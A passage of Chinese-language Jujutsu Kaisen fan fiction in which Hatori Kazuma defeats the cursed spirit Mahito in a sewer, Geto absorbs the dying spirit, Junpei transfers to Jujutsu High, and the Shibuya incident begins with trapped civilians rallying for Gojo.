“先确定他能不能看见咒灵,而后试探他是否能使用术式及术式效果——按照我们这边的调查报告,吉野顺平过往并没有显露出咒术师资质的迹象。如果他现在能使用术式,且效果与改造人类无关,就必须要找到那个真正能做到这一切的家伙。” “如果五条的猜测没错,那位吉野顺平大概率处于相当危险的状态。” ——这便是虎杖悠仁和伏黑惠没有教训完这些人后就放走,反而点名要吉野顺平过来的原因。 “你能看到伏黑的玉犬,肯定也能看见咒术与咒灵的存在吧?” 虎杖悠仁诚恳对他说道,“我希望顺平能告诉我们,那天,你在电影院到底看见了什么。” “………” 吉野顺平垂下眼,“我什么也没有看见。” “是吗,那就……” 立刻相信吉野顺平说法的虎杖悠仁正要松口气,却被性格更多疑、对咒力也更了解的伏黑惠抬手拦下。 “千万不要隐瞒。无论诅咒师还是咒灵,对你来说都非常、非常的危险。” 伏黑惠的语气凝重,“我能看见你身上缠绕有另一股比较淡的咒力残秽,你一定近距离接触过某个能使用咒术的人,或者是咒灵本身。” 头一次听说咒力还会有留下残秽,吉野顺平的表情有点僵住。 这细微的心虚反应同样立刻被观察细致的伏黑惠发现,并肯定对方刚才绝对在撒谎。 虎杖悠仁也察觉到不对,脸上的笑意收敛,同样变得严肃而认真。 “顺平,相信我们。”他想了想,“实不相瞒,我在半年前才被迫接触到咒力这种东西,跟顺平的情况也差不多……” 说着说着,虎杖悠仁索性一巴掌拍在伏黑惠肩上,示意吉野顺平看过来。 “虽说伏黑总是臭着脸看人,一副好像随时随地都在生气的样子啦,”——听到这里,被点名脸臭的伏黑惠发出一声“喂”的抗议,但被虎杖悠仁若无其事的忽略了,继续劝吉野顺平坦白。 “但伏黑可是从小就在咒术界了哦,经验和判断力比我们都要强得多。如果顺平认识的那位真的是好人,我们也不会杀死或祓除掉的,好吗?你只需要告诉我们一下位置就可以。” 吉野顺平没有立刻回答。 他们身后,那排艰难吊单杠的人还在此起彼伏的求饶和痛呼。 好感+1+1+1+1…… 最终,吉野顺平还是松口,对他们说出了一个地点。 ………… 四通八达的下水道之内,到处都弥漫着腐烂与发酵的腥臭味。 鞋底踩在灯光昏暗的通道内,滑腻腻的,像是某种苔藓类植物,也有可能是堆积起来的脏污淤泥。 走在这种地方,虎杖悠仁紧紧抱着怀里的真丸,是坚决不肯让对方的爪爪落地的。 这也太脏了! 话说一真先生要是变回人类形态,他是穿着衣服还是没穿衣服呢…… 比起还在胡思乱想的虎杖悠仁,伏黑惠的神情要紧张得多。 他能看见逸散在通道内的无数股咒力残秽,比起诅咒师,更接近咒灵。 这意味着任何窸窣作响的动静,都有可能是敌人在暗中谋划着对他们发动偷袭。 “不行,我们先回去,”伏黑惠停下脚步,“前面的诅咒气息已经浓烈到我们难以应付的程度了,必须回去喊一级以上的术师来解决。” 很强,强得他们绝对打不过——如果是虎杖身体里的那个东西也被放出来,倒是另当别论。 由于虎杖悠仁没提,伏黑惠也不清楚对方始终抱在怀里的真丸,其实就是羽取一真。 虎杖悠仁困惑“咦”了声,“我们才刚走进来没几步呢。” 虽然他也有看见,但在这种辨别咒灵级别的精细感知方面,还是有点半懂半不懂的。 因此,虎杖悠仁相信伏黑惠的判断,立刻跟着他就要后撤。 那两只始终跟在他身边警戒的玉犬,忽然朝着某个方向发出一声吠叫。 ——已经迟了! 在伏黑惠与虎杖悠仁立刻摆出应战架势的同时,逐渐朝这边走来的身影似乎也十分高兴,主动开口对他们说道。 “哎呀,太好了太好了,是宿傩的容器。” 它带着似人又非人的样貌,笑眯眯站在原地,看着这两位不请自来的客人。 “原本我还想着该如何引你出来呢,竟然主动送上门了。” 羽取一真打开【社交】界面,对方显示出来的名字为真人——与之前的漏瑚一样没有姓氏,战斗弹窗显示为特级咒灵。 “甚至连引爆器也有带过来呢。” 没有等虎杖悠仁回应,它又看向伏黑惠,眼底满是期待的跃跃欲试,好似这条下水道是它的舞台,此刻正打算尽兴地大闹一场。 察觉到对方那份尖锐恶意的伏黑惠,脑海里的警报更是拉响到极限,浑身都已紧绷成蓄势待发的弓弦;仿佛正直面某种死亡绝境的强烈危机感,动物与生俱来的本能在催促着他尽快逃离,却连半步都无法挪动。 “这下麻烦大了。”伏黑惠小飞快的对虎杖悠仁小声说道,“能开口交流、会使用咒术的咒灵,绝对是没有登记的特级。必须要离开这里,找五条老师他们求助。” 吉野顺平竟然都毫无知觉吗?他接触的咒灵是如此危险! “想要逃?我可不许哦,好不容易才找到宿傩容器的。” 真人笑了笑,刚开口说第一个字时,身形已爆冲至二人跟前——随着那只伸过来的、布满缝合线的手,扑面而来的强烈恶意几乎令伏黑惠难以喘息,反射性将小臂交叉挡在眼前,预备接下一记冲击。 或者还会有更糟糕的情况,他甚至已想起了电影院里那些改造人的下场,宛若下一秒的自己。 ——噗嗤。 预计的攻击没有袭来,却响起了利刃扎透皮肉的动静。 身穿纹付羽织袴的背影是伏黑惠再熟悉不过的羽取先生,悄无声息挡在了他的面前! “离我远一点。” 连声音也透着熟悉的沉稳与安定感。 即使早有心理预期,伏黑惠依旧在原地怔了片刻,转头想要让虎杖赶紧和他一起后撤,却见到对方冲他露出一个[没错,咱们还有真丸先生在呢,放心放心!]的格外骄傲眼神。 伏黑惠:“………” 虎杖这家伙,又不是坐在观众席在看拳击比赛,不担心被波及到吗?快跑啊! 但不论如何,他确实松了一大口气,就像沉入海底的溺水者突然被一只强有力的手托出了水面,仅剩下劫后余生的庆幸。 ——没错,无论是伏黑惠抑或虎杖悠仁,都相信羽取一真肯定能赢。 “好奇怪,你竟然拥有变形的能力?” 当那柄凭空出现的利刃扎透它的手臂,又顺势转手利落切断半截之后,真人也不得不后撤半步——甚至孩子气的皱起眉毛。 “你也能改变自身灵魂的形态吗?” 羽取一真压根不回答它的问题,“你和漏瑚是一伙的?” “咦?你竟然知道漏瑚的名字啊,怎么做到的?应该不是漏瑚主动告诉你的吧?” 真人好奇摇了摇那仅剩皮肉黏连着的小臂,看起来伤势极重,却只需要它保持住对自身灵魂形态的信念,这点伤口很快就会……咦? 没有反应,伤势依旧存在。 真人又努力尝试了几次,发现小臂没有任何恢复的迹象——是刚才那柄短剑搞的鬼吗?还是对方的术式效果!? 见鬼了,漏瑚明明只说对方的术式是和空间相关的! “这到底是什么情况?” 真人愣愣抬起头,正撞见另一柄短剑被对方甩手掷出,直径朝头部飞来。 Npc在战斗中说的那些车轱辘话,羽取一真全部当作背景音无视——得到关键信息后的他只专心输出伤害,誓要迅速将这只咒灵的血条揍到清零,绝不给对方攻击前摇的时间。 而这条狭窄的下水道,更是给了[业双]与[十方摩诃]极佳的输出空间。 哪怕其中一两记<术式顺转·裂>没有摸到真人,这么窄的地方又能供它躲到哪里去? 更别提搭配[业双]的自动寻回效果,两柄短剑几乎是毫无间隙的在这条昏暗的通道内来回;在应急灯光的照耀下,连不断裂开的空间碎片都泛着略透明的光泽,将真人逼得狼狈至极。 虎杖悠仁和伏黑惠早就自觉退开老远,尽可能不妨碍到羽取一真的战斗。 糟糕,这个场地对他的术式实在是太有利了…! 真人又挨了一记[十方摩诃],腹部好似被挖去了一小块。 但这次的伤势却令它灵感顿生,且发现随着时间流逝,对方的术式效果也在逐渐消散——受伤部位无法改变灵魂形态这件事,并非是永久持续的! 而且,它想到办法了! 既然羽取一真可以变成动物,它自然也可以。 在下一击到来之前,真人选择跃至下水道的石壁顶部,并趁机一拳打碎出无数粉尘与碎块——而趁这战场混乱的极短片刻,一只属于哺乳动物的前爪伸了过来,与抬手挥剑的羽取一真撞到一处。 ——[无为转变]。 呵,它能够改变手掌触碰到的人类的灵魂形态,只要它念头一动,这家伙势必就要变成…… “……欸?” 正要异化羽取一真灵魂形态的真人,却在下一刻呆愣原地。 骤然升腾的炽热白焰好似某种被动触发的机制,在这瞬间彻底吞没了它的身体。 第188章 “呜啊啊啊啊!!” 被点燃的真人瞬间发出惨烈的悲鸣, 好似自己的灵魂正在被过高的温度炙烤。 这股点燃的炽白烈焰来得是如此汹涌且不讲道理,将整条通道都照得极明亮,宛若将晴空里的太阳摘了下来, 挂在此处。 伏黑惠和虎杖悠仁甚至被刺得睁不开眼, 条件反射偏过脑袋,乃至抬手去遮挡光源。 他们误以为这是羽取一真的术式,内心别提有多震撼了。 ——事实上,羽取一真的吃惊并不比他们两人少。 甚至连这骤然亮起的火光也同样让他看不清任何东西,只能等这凭空出现的异常火焰逐渐熄灭——真人的哀嚎则在此之前便迅速减弱,消失。 由昏暗转至极亮又回归昏暗, 羽取一真缓了片刻才逐渐能够视物,却发现原本真人所在的地方已经被烧得什么也没剩下, 只散落着一堆诡异的漆黑余烬。 原本就很臭的下水道里, 此刻又混杂了一股蛋白质还是别的什么东西烧焦的味道, 极其难闻。 没收到真人死后掉落的【咒力结晶】, 羽取一真立刻看向【社交】界面,发现对方的名字后面没有跟着(已故)。 这竟然都没被烧死? 羽取一真有些惊讶。 要说对方能逃的地方, 那就只剩下水道正中间这条流淌着污水的沟渠——莫非,它还能将自己变形成某种更小型的鱼类,从这条污水沟里逃走了? 正好水也能灭火,对方情急之下往这条沟渠里钻, 也是本能之下的求生反应。 只是又被特级咒灵逃走, 让他想起悟之前好不容易把漏瑚打得濒死,结果被另一个咒灵救走的事情……有点不爽。 好吧, 或许悟其实打漏瑚打得很轻松,但看着成功逃走的漏瑚,白猫猫的大尾巴都失落得垂下来了! 所以他就是很不爽。 羽取一真正要故技重施, 用[八相轮卡]选定真人为释术目标,强行将它的拟态从小型鱼类变成更大只的人型时—— 却见到[真人]这个名字忽然灰了下去,后面也随之出现一个(已故)的标记。 刚打算继续追击的羽取一真,慢慢停下脚步,眼中流露出显而易见的狐疑与困惑。 “它是不是已经死了?” 已经感知不到那个恐怖的诅咒气息了,虎杖悠仁也立刻朝羽取一真跑过来,语气连带表情都兴奋得要命。 “好厉害啊,一真先生的术式!” “哗”的一下,凭空升腾的火焰就彻底把那家伙烧成灰了耶!好厉害! 身体里的两面宿傩刚才还在叫嚣着把身体让给他才能让众人存活,还要定什么[束缚]——呸呸呸,他才不会求这家伙帮忙嘞! 羽取一真:“………” 他很确信自己的术式和咒具都没有点燃特级咒灵的效果,况且普通火焰也不该是那种暖白里掺了点碎金红的璀璨色泽。 但要说不是他干的……在场也没有其余人了。 身为方才那场战斗的当事人,羽取一真能感觉到那股火焰是在对方触碰到他后陡然烧起来的。 简而言之,是他引发的?怎么做到的? 又翻了遍当前持有技能的介绍,羽取一真还是不确定自己是如何祓除掉真人的。 而且,很可能并不是由他祓除的。 羽取一真打开物品栏,发现那里始终没有多出一枚自动回收的【特级咒力结晶】。 这情况也太诡异了,到底是怎么回事…… “一真先生!一真先生!一真先生万岁!” 羽取一真自沉思中回过神来,发现悠仁这小子正在边绕着他转圈蹦跶,边唱自己现编的歌庆祝。 伏黑惠缄默站在离这边不远不近的地方,好似在假装自己不认识这个正在载歌载舞的笨蛋。 “……咳。” 这画面实在有点好笑,他没忍住轻咳一声。 比起他的黑豆柴拟态,羽取一真倒感觉悠仁简直就是一只大型的快乐金毛犬,连[八相轮卡]都用不上。 “那个特级咒灵已经被祓除了,我们走吧。” 羽取一真开口,只能将这个难以解开的谜团暂且压在心底。 “好哟!” 虎杖悠仁兴致勃勃的跟上,“啊,是不是还得和五条老师说顺平的事情?他现在是咒术师,应该也能入学咒术高专吧?” “这个我会和悟说,”羽取一真轻轻点头,“另外,你们记得不要在报告里面提到我。” “欸?可是不提老师的话,我和伏黑根本做不到祓除特级咒灵吧?” “……就说它逃走了。” “不,那也该是我们逃走了才对……” 终于离开这条臭气熏天的下水道,羽取一真缓慢吐了口气,却听见一路上始终沉默的伏黑惠忽然“啊”出声,令虎杖悠仁也好奇侧目。 “怎么啦,伏黑?” “…那些人,现在,可能,还挂在沙滩乐园的单杠上。我走之前只把玉犬收回,忘记跟他们说可以下地……” “……!!” 忽略那两个火急火燎往沙滩乐园赶的二人,羽取一真边走边拿出手机,准备先跟悟汇报他们这边的情况。 ——在等待另一端接通电话时,放松下来的他脑海里忽然闪过一个转瞬即逝的念头。 那位吉野顺平,他似乎在哪里见过…? 羽取一真来不及更进一步地捕捉这股微妙的熟稔感,五条悟已秒接起电话,口吻极为认真。 “需要我过来吗?” 能让黑豆柴拟态的一真变回人身,就意味着悠仁出现了他必须现身对抗的危机。 再结合之前硝子打电话过来咨询的内容,五条悟便不先探究具体的情况,而是简明扼要的问羽取一真是否需要他用[苍]赶来支援。 “不用,那只特级咒灵已经祓除了,也没人出事。” 嗯,某些人的屁股除外。 羽取一真的话让五条悟立刻放下心来,连带语气也变回咪咪喵喵的轻快,“哎呀呀,不愧是我们的一真出手,有什么问题都轻松解决啦——” 五条悟特意用又甜又软的声线来夸羽取一真,让后者的血条呗萌得瞬间清零,大脑都变得轻飘飘的。 成年大猫的卖萌太过犯规,但着实有效。 “咳……咳嗯,” 羽取一真非常吃这一套,三两句话就被哄得按捺不住浮现在唇角的笑意,轻咳两声才继续对自家恋人问道。 “你介意再收一个学生吗?” 五条悟:“……” 五条悟:“嗯嗯??” ………… 将时间往前倒推片刻,真人在被炽焰烧到濒死之际,终于勉强使用剩余的咒力将自己的灵魂形态变成一条小鱼,带着仍在烧灼全身的火焰,艰难滑落进这条流动着污水的沟渠里。 趁那三个咒术师没察觉到它已经逃跑的间隙,真人努力朝上游的其中一个排水道进口游去——夏油杰正等在那里,随时准备接应。 就像花御带走漏瑚那般,他也会将它救走。 虽然不算百分之百相信这个诅咒师,但眼下情况紧急,真人也没有更好的办法。 尤其是这个该死的火焰——和漏瑚点燃的火焰不同,它哪怕落进水里也不肯熄灭,誓要彻底烧尽灵魂不可! 还有那家伙的灵魂,那家伙的灵魂竟然……! 真人能感觉到自己越来越虚弱,在最后一点游动的力气消失之前,它终于来到出口,用变回人类形态的手掌推开了下水道口。 在那只布满缝合线的手上,仍旧缭绕着几缕泛着细碎金红光点的白焰。 夏油杰确实正等在那里,用带着兜帽的外套与口罩做遮掩,挡去了大部分面孔。 见到奄奄一息的真人,他反而并不显得特别惊讶,甚至带着点笑意跟它打招呼。 “看你好像经过了一场苦战啊。还好吗,真人?” “别在那里说风凉话,快救我……!” 真人艰难从下水道口爬了出来,痛苦喘息着,“这个火焰,这个火焰不肯熄灭,它要把我烧干净才罢休!” 即使声嘶力竭,它的声音也愈发微弱,几乎要失去了所有“生机”——假使咒灵有这个的话。 “我不明白,”夏油杰仍旧慢条斯理说道,“按理来说,你的术式应该克制绝大部分咒术师,怎么还会被打成这样?两面宿傩干的?” 见这个诅咒师非要问出个好歹才愿意出手帮助的模样,真人在心底咬牙切齿,口头却只能先回答对方的问题。 要不是花御在守着漏瑚,要不是这个诡异的火焰,它根本不会落得如此狼狈的境地…! “我是遇到了两面宿傩的容器,但那个羽取一真也在,我根本没机会触摸虎杖悠仁,让两面宿傩出来……而且,羽取一真的灵魂,他的灵魂太特殊了,根本不能触碰……” 真人断断续续说着,夏油杰则敏锐抓住最后一句话。 “什么叫羽取一真的灵魂太特殊了?和普通人有什么不同?” “我不清楚,我什么也没感知到。” 真人朝夏油杰抬起脑袋——它此刻的模样已十足惨烈,那些炽白的火焰好似有生命般在它身上跃动着,在一点点啃噬着这具由咒力构成的躯体,直到燃料彻底耗尽为止。 “我只感觉我在那时摸到了一片火焰,无边无际的,仿佛整个世界都在我眼前燃烧……” 而后,他也被那滚烫的烈焰持续灼烧着灵魂,直至此刻也没能熄灭。 作为刚诞生并没有很长时间的真人,他完全不明白自己这种情况到底是怎么回事,只能求助面前的诅咒师,“快帮帮我…!” 面对同僚的呼救,夏油杰却在沉吟片刻后,朝它露出一个看似温柔无比的微笑。 “感谢你给我带来的这个情报。别担心,我当然会帮你的,毕竟——” 他向这只濒死的特级咒灵伸出手,[咒灵操术]已悄无声息的对它发动。 “我原本的目标就是你啊。” ……… 当他回去陀艮的生得领域里时,还在养伤的漏瑚、陪着它的花御以及在海里悠哉潜泳的陀艮,都一同转过目光来。 “很抱歉,各位。” 夏油杰语气沉痛,回看向这三只特级咒灵的面色也分外肃穆。 “真人在设计接触宿傩容器的过程中,遇到了羽取一真……我没能救下他。” 乍闻真人的死讯,漏瑚瞬间坐不住了。 “什么,怎么会…!!” 夏油杰轻轻摇头,摆出一副吊唁的模样。 “唉……所以我才说,不要小瞧了羽取一真和五条悟。他们两个人都非常危险,必须要谨慎的对待,务必保证在10月31号时,能够成功封印其中一位。” “对,没错,地点在涉谷。” 第189章 除去让虎杖悠仁和伏黑惠愁眉苦脸的报告, 他们的任务大体上圆满结束了。 经过伏黑哥又一次出手警告,那些里樱高中的不良连带外村老师连睡觉都得趴着,想起他的脸就不由自主腿软, 下意识就要找个什么高处的东西挂着。 至于霸凌学生这种事情, 自然是再也不敢继续干。 不过,吉野顺平也已经不在意这些人到底是什么想法——他很快就要转学了。 在听羽取一真说吉野顺平被那只特级咒灵改造成咒术师后,五条悟很快又亲自登门拜访,询问吉野顺平是否想去咒术高专就读。 并不是强制要求,而是在如实陈述利害后,给予了吉野顺平充分的知情权与决定权。 哪怕他最后不愿意转学到高专, 为了后续不被真人的其它咒灵同伙前来报复,五条悟依旧会帮忙安排他和他妈妈秘密搬家到更安全的地方。 值得一提的是, 当时来开门的是吉野顺平的妈妈, 吉野凪。 她在看到五条悟的一瞬间就兴奋到欢呼出声, 像多年粉丝忽逢正主降临家门口送惊喜。 跟在后面的吉野顺平有点傻眼——他还是第一次看到妈妈这么开心。 不过…也不是不能理解。 正因为五条悟和羽取一真当年的组合是如此惊艳又惊鸿一现, 仅留下一首至今都拥有极高传唱度的歌曲,才会如此令人念念不忘啊。 五条悟倒是已经很习惯自己走到哪都能被认出来了, 在惯例走完签名与合影的流程之后,说出了自己的来意。 吉野凪听完,先毫不犹豫点头答应自己会配合搬家,接着询问吉野顺平愿不愿意去咒术高专就读。 她是个十分开明的家长, 并不认为学校是决定一个人未来的门槛, 也从不会逼迫自己的孩子必须要走什么路才是正确的。 “总之,顺平选择自己喜欢的那边就行, 我就不会做出任何干涉。” 吉野凪将手伸进牛仔裤的口袋,似乎想要摸根烟出来抽;但她立刻想到这可是在偶像面前,万一抽烟给对方留下坏印象……吉野凪立刻又放弃这个念头, 只侧过身,等着自家儿子的决定。 五条悟在哑然片刻后,笑了起来,“您是位了不起的人,”——在认真表达自己的想法时,他的声音总是要偏低些,措辞也更为正式,“这与是否为人父母无关,很多人并不能做到如此豁达的看待问题与事件的本质,乃至在偏激与错误的道路上越走越远。” “——嗯?” 吉野凪诧异抬了下眉梢。看五条悟这么亲和又好说话,她也没忍住笑着揶揄了对方一句。 “这么夸我是很开心啦,但听五条先生的意思,好像曾经遇到了这样的人呢?” “差不多啦。”五条悟没有否认,“我并不赞同他的做法,因此,和他在许多年前就分道扬镳了。现在想想,以他的性格,走上那条道路或许是迟早的结果。” 从夏油杰第一次说出[身为强者的我们必须要保护弱者]开始,他就已经将咒术师定义为强者、非咒术师定义为弱者,让它变成了一道必须遵守的责任或义务。 但责任和义务,往往意味着对精神的额外负担。 [为了xxx,所以必须要去做xxx]这种信条,实则已经将自己放在“必须要得到回报才能坚持”的位置上——无论是被救者口头的感谢,还是自我精神上的满足。 然而,这个高高在上的位置是如此脆弱,甚至经不起太多挫折。 当经历的颠覆自身信条的事情越多,其原本笃信的规则就会在心中开始动摇、质疑、否定、乃至全盘推翻。 这只是时间早晚的问题,五条悟或许会遗憾对方从此不再是与自己同行的好友,但也绝不会为对方而改变自身的立场。 如同他对一真说过的那样——从来没有想过不当咒术师。 这是五条悟早就选定的路,从幼时觉醒[无下限]术式开始,便再没有更改过半分。 而此刻,他在笑着等待吉野顺平为自己选择的路,并不会做出任何劝诱或强制的行为。 “唔……” 吉野顺平确实很苦恼,他并不能肯定自己是否可以胜任咒术师这个职业,“我也不知道该怎么选才是对的……” “你的选择不会有对错之分,顺平。” 五条悟笑着摇头,纠正吉野顺平的说法,“听从你的心就好,只要是你自己想去的——那就是正确的答案。啊,违法的事情除外哦。” 吉野顺平被五条悟想了想后又补充的这一句话给逗得笑起来,好奇问道。 “咒术界也有法律吗?” “咒术界也要遵守日本法啦。” 五条悟竖起食指摇了摇,“顺平以为我们咒术师是法外狂徒吗?别小看你的五条老师哦,我可是熟读《六法全书》,就算去考律师也不在话下——” 吉野顺平又没忍住笑起来,但还是态度坚定的说出了答案:“我决定了,要去咒术高专。既然拥有了这份力量,我也需要学会如何更好的使用它来保护妈妈。” 五条悟格外高兴,“真的吗?太好了!顺平肯定和悠仁很合得来。” 算一算,他这届学生竟然达到了六个之多……甚至超过了二三年级加起来的人数呢! “顺平这么想是很好,但你不要背负太大压力,妈妈我也不是笨蛋啦,能照顾好自己的。” 吉野凪也很高兴,笑着去拍自家儿子的肩膀,“只看今天的交流,我也能肯定的说五条老师一定是个特别好的老师,你信赖他准没错——以后要记得多给妈妈发照片回来哦。” “……不要说得我好像是去追星一样啊。” 吉野顺平半是好笑半是无奈,但也没有反驳说不会这么做。 “请放心,我会照顾好顺平的。” 五条悟笑眯眯的,双手负在身后,完全不介意以后追着自己拍照的人又多了一位——但凡能认出他是曾经那位大明星五条悟的学生,在与他们的任务或教学相处时,被或偷偷或光明正大地拍照是很常见的事情。 好期待这届学生的成长呢,大家都是又有天赋又努力的好孩子。 他笑着在心底想道,迫不及待要回去和一真分享这个好消息。 ……… 在敲定之后,吉野顺平的转学和搬家都十分顺利,没出任何意外。 挤时间过来拜访的五条悟后续实在没空,又只好拜托一真翘班来这边帮忙看几天,直到确定没有咒灵前来袭击为止。 吉野顺平去学校时正好赶上了姐妹校交流会,被京都校那位名叫东堂葵的肌肉壮男吓了一跳,还以为自己之后也必须要练成那样才行。 但很快,他就看着那位体型壮硕到能一拳打断大树的东堂葵,在第一天的团体战中被看起来单薄又瘦削的乙骨忧太轻松打飞,全程几乎毫无还手之力。 吉野顺平震惊到张大嘴巴,感觉自己的世界观都彻底碎裂又重组了。 枷场菜菜子和枷场美美子毫不意外这个结果,还帮忙把战斗过程录给米格尔看——因为后者出于诅咒师身份来不了,但一定要确认忧太有没有在体术上给他丢脸。 据说第二天原本应该是单人战的,被五条悟偷偷改成了棒球比赛,甚至连观赛的他们也都一起参与了进来,大家都玩得超级开心。 除了在询问虎杖悠仁喜欢的女人类型后就开始与他自顾自的称兄道弟,接着被一记投球打晕的东堂葵以外。 吉野顺平觉得自己已经喜欢上了这所特别的学校,还有五条老师和悠仁他们。 如果他当时继续和真人那个特级咒灵接触,下场还不知道会变成什么模样。 在这点上,他由衷感谢五条老师和羽取先生。 “顺平,出任务了——” 虎杖悠仁拿着伊地知洁高转交的报告资料,从教室门口探了个脑袋进来喊他,纸张被挥得沙沙作响,宛若被风摇动的枝叶在互相摩擦,而他们正站在灿金而明媚的树影光斑之中。 “这次的任务不难,等结束后去看电影吧!去看新上映的《蚯蚓人4》!” 吉野顺平从座位上起身,连应答也带着愉快的笑意。 “好啊。” ………… 往后的时间被任务、上课与休息安排得满满当当,总是过得极快,几乎是一眨眼就来到了十月底。 更确切地说,是10月31日,晚上七点。 当涉谷传来有陌生的[帐]笼罩在东京百货店和东京东横店的紧急消息时,五条悟还在出差途中,是其余能动身的咒术师先赶了过去。 这个半径约400米的[帐]刻意降落在涉谷繁华的商业街中心,还有大量无法出去的普通人被关在里面。 连带[帐]的规则极为特殊,仅将普通人关在内侧——甚至由于只关住了普通人,导致咒术师就想要破坏[帐]救普通人出来,也会直接从这道幕帘中穿过。 至于敌人降下[帐]的目的…… 让五条悟一个人进来。 ——有人在说出这句话,哪怕他也不知道自己是从哪里得到的消息。 但听到五条悟这个名字的普通民众,不论男女皆瞬间哗然一片。 “五条悟?” “是那个超帅的五条悟吗?!” “用我们来威胁五条大人现身??” “呀——我也想亲眼看见活的悟殿下!!!” “怎么光要求五条悟出现,我也想看羽取一真啊!” “把我们关在这里的人,莫非是想要见到五条大人的狂热粉丝?” “喂喂没搞错吧,我可不承认那是五条大人的粉丝——根本就是对五条大人不敬!!” 第190章 倘若只是单纯的被关在[帐]里出不去、想求助又发现手机没有信号, 有些人会惊慌失措,有些人会等待外界救援。 倘若其中一些人在某处身亡,大家的反应也大多会是“有恐丨怖丨分子, 快逃”, 而后还有可能会发生推搡与踩踏事故。 简而言之,就是在面临突发事件时,大家各有各的应对方式,就像无头苍蝇般混乱而无序,不清楚该怎么做才是正确的。 但五条悟这个名字一出来,90%以上的人反应都变得完全不一样了。 在场只分[还没听见五条悟这个名字的], 以及[听见这个名字后兴高采烈或义愤填膺的]——这起突发事件,立刻被他们定义成“疑似狂热粉丝发动恐怖丨丨袭丨击只为见到五条悟”。 是哪个混蛋用出这么卑鄙的手段, 竟敢拿他们当人质, 逼他们的白月光男神现身!? “是谁想的馊主意?” “犯人肯定就在我们之间!” “好啊, 别让我抓到是谁搞的鬼!” “来查查刚才是谁说见到五条大人就能出去的!” “死心吧, 就算五条大人真的来了,那也是为了救我们而出面, 绝对不可能喜欢上你这种阴暗生物!!” 在涉谷站之外的文化村大街上,众人开始握拳高呼起来,半点畏惧这起突发事件的心理都没有了! 此刻,他们要为了守护最好的五条大人而战! 不管这个罩子是用了什么诡异的黑科技, 总之他们就是必须把那个想要逼五条悟现身的元凶逮出来! “冲啊, 为了五条大人!!” “先去排查Hikarie ShinQs大厦,据说消息是从那边传播过来的!” “那边的人也在找罪魁祸首, 有人说看见地下五层的副都心线站台里有怪东西!” “什么怪东西啊,是不是人都描述不出来吗!” “不知道啊,有说什么也没有的, 有说看见火山头脑袋和树枝脑袋的!” “这说的什么,Cosplay吗!” 沸腾而浩大的声势在[帐]内酝酿,齐心协力的众人仿佛得到了英灵殿加持的维京战士,誓要将这个卑鄙又阴暗的混蛋揪出来不可! 10月31日恰好是在年轻一代里相当流行的万圣夜,不仅前来涉谷参加各种活动的人多,还几乎都是经历过那段五条悟和羽取一真组合出道、人气爆炸时期的粉丝。 纵使有些上班族或者不关注娱乐圈也不听歌的人同样被关在[帐]里,也会在此刻变成从众的羊群,气势汹汹跟着一起讨伐那个竟敢把他们关在这里的混蛋。 “……再复述一遍,[帐]里面的普通人在做什么?” [帐]之外,等在涉谷站13号出口的猪野琢真沉默片刻,问向伊地知洁高的语气惊疑不定,“我没听错吧?” “呃…按照进入[帐]内的辅助监督传出来的消息,被困者确实已经聚集成好几拨浩浩荡荡的队伍,正在尝试排查布下[帐]的诅咒师,喊出的口号是[为悟而战]……” 伊地知洁高也将话说得犹犹豫豫,似乎同样想不到里面竟然会是这种行动力超强的事件展开。 就是行动力有点太强了,他们现在反而担心起这些普通人的安危来。 再怎么说诅咒师也是拥有术式的,杀伤力比普通人高了不知道多少个量级。 何况按照五条先生的推测,[帐]内大概率还存在大量特级咒灵。 甚至还有更糟糕的猜想——倘若策划布下这个高级结界的团伙里包括夏油杰,那么一旦他在[帐]内释放出大量咒灵进行无差别攻击,对普通人而言将是一场残忍的屠杀。 “……他们认识五条悟?”猪野琢真这下是真的惊呆了,“在我不知道的地方,五条先生竟然这么受普通人欢迎!?” 看这个知名度,搞不好比在咒术界内的声望还要高啊! 即使在咒术界,也有很多人对他的改革理想表示反对或无动于衷——甚至还有认为五条悟是异想天开和没事找事的呢。 “他在高专上学时,曾经以模特和歌手在身份出道过,人气非常高。” 负责带领猪野琢真和伏黑惠的七海建人沉默推了下那副太阳眼镜,简明扼要的给后辈解释道。 猪野琢真:“呜哇,我都没听过这事……有多高?” 七海建人:“……我曾经在金融企业工作时,去KTV应酬的非年长同事几乎都会点他唱过的那首歌。大概就是这种受欢迎的程度。” 伏黑惠:“……我在初中时的文化祭,也有人表演过当初五条老师和……咳,另一人组合出道的舞台剧。” 险些把羽取先生的名字也喊出来了,好险。 毕竟现在还挂着诅咒师的身份,对方也特意叮嘱过不能在其他人面前表现得和他太亲近。 猪野琢真听得目瞪口呆,只能用小鸡啄米式点头来表达自己的震惊,“那五条先生如果赶来的话……” “——肯定能轻而易举掌控场面啦。” 同样听辅助监督说完[帐]内情况的枷场菜菜子,用格外理所应当的语气肯定道——那可是传说中的大明星五条悟,能得到这样的待遇是再正常不过的事情了! 哼哼,在没来高专之前,听说五条悟是她长辈的同学和朋友们都羡慕到啜泣好吗! ——事实上,也确实如此。 五条悟还在赶来涉谷的路上,听伊地知洁高打电话过来说明情况后,只觉得又好笑又感动,决定先去零售店买个喇叭。 除此之外,还有他们在对话内容里提到的细节也让他十分在意。 火山头脑袋和树枝脑袋,大概率就是之前他遭遇过的特级咒灵了。 明知道再遇到他会输,却仍旧要布置这个陷阱等他上钩吗…… 五条悟付完账,拎着喇叭走出店门时,给一真打过去一通电话——同样秒接通,听背景音还有轻微的风声与鸣笛声。 “是涉谷吗?” 羽取一真似乎同样在赶路,简明扼要说道,“我已经听禅院直哉汇报过了,那帮高层决定让你独自一人处理这件事情,其余咒术师全部在[帐]外待命。” “嗯,没错哦。” 五条悟并不意外这个结果,反而好奇问羽取一真,“你现在是在来涉谷的路上吗?” “怎么可能真的让你一个人去[帐]里面,” 羽取一真蹙起眉毛,显然对禅院直哉通风报信给他的这个消息很不满意。 “我先陪你解决完涉谷这边的事情,然后把做出这个决定的高层干掉。” 这个[干掉]被他说得轻描淡写,一听就是打算让睽违已久的天狼星杀手重出江湖。 他不管那个老头到底是胆小怕事还是因循守旧,怎么能真的听恐丨怖丨分子的要求,说让悟一个人去就一个人去? 多去几个咒术师怎么了,左右那些普通人明显是被当做人质的,悟负责对付咒灵和敌人,剩下的咒术师难道就不能负责疏散人群? 难道只因为悟是最强的,所以无论遇到什么事情,只要全部丢给他就能心安理得等结果了? 真是越想越不爽。 羽取一真在电话这头生闷气——哪怕没有开口,五条悟也猜到了自家恋人在想什么。 与此刻正在[帐]里声势浩大的到处找事件元凶的众人有异曲同工之妙。 五条悟又忍不住笑起来,刚听到涉谷紧急事件时的凝重情绪,早已被这二连击抵消得一干二净。 